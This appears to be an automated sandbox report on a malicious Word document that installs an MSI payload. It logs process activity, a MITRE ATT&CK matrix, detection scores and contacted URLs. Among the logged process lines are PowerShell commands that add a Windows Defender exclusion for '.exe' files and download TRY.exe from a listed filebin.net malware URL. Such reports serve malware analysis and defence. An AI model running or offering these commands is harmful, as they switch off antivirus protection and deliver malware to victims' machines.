Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\msiexec.exe TID: 2416	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1424	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1424	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\cmd.exe TID: 2476	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2532	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_9-2420

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB65E4C GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,GetLastError,

9_2_000000013FB65E4C

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB61F00 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

9_2_000000013FB61F00

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

9_2_000000013FB61C38

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB67F40 SetUnhandledExceptionFilter,		9_2_000000013FB67F40
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB67C44 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		9_2_000000013FB67C44

Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A7515E85DB42A85129F32A151C15AD96	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)HIGH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)LOW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Process created: C:\Windows\System32\cmd.exe cmd /c thai.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Set-MpPreference -ExclusionExtension ".exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB612C0 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

9_2_000000013FB612C0

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB68114 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

9_2_000000013FB68114

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB629E4 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

9_2_000000013FB629E4

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	21 Scripting	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	21 Scripting	OS Credential Dumping	1 System Time Discovery	1 Replication Through Removable Media	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 Native API	1 Services File Permissions Weakness	11 Process Injection	1 File Deletion	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	3 Exploitation for Client Execution	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	21 Masquerading	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Command and Scripting Interpreter	Logon Script (Mac)	1 Services File Permissions Weakness	1 Modify Registry	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	1 Query Registry	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Access Token Manipulation	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Rundll32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
12543_0008858249_FWDOUTSTANDING_20200604.doc	38%	Virustotal		Browse
12543_0008858249_FWDOUTSTANDING_20200604.doc	24%	ReversingLabs	Win32.Downloader.Mutisedow
12543_0008858249_FWDOUTSTANDING_20200604.doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP	100%	Joe Sandbox ML
C:\Windows\Installer\MSI9F1.tmp	0%	Metadefender	Browse
C:\Windows\Installer\MSI9F1.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
filebin.net	5%	Virustotal		Browse
situla.bitbit.net	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://filebin.net/rf43v6qzghbj7h7b/TRY.msi-1261261808309546470	100%	Avira URL Cloud	malware
https://filebin.net/rf43v6qzghbj7h7b/TRY.msi	100%	Avira URL Cloud	malware
https://filebin.net/rf43v6qzghbj7h7b/TRY.exe	100%	Avira URL Cloud	malware
https://filebin.net/rf43v6qzghbj7h7b/TRY.msi0C:	100%	Avira URL Cloud	malware
https://filebin.net/rf43v6qzghbj7h7b/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
filebin.net	185.47.40.36	true	true	5%, Virustotal, Browse	unknown
situla.bitbit.net	87.238.33.8	true	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://filebin.net/rf43v6qzghbj7h7b/TRY.msi	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://filebin.net/rf43v6qzghbj7h7b/TRY.msi-1261261808309546470	~DFECA159C20646BB57.TMP.2.dr	true	Avira URL Cloud: malware	unknown
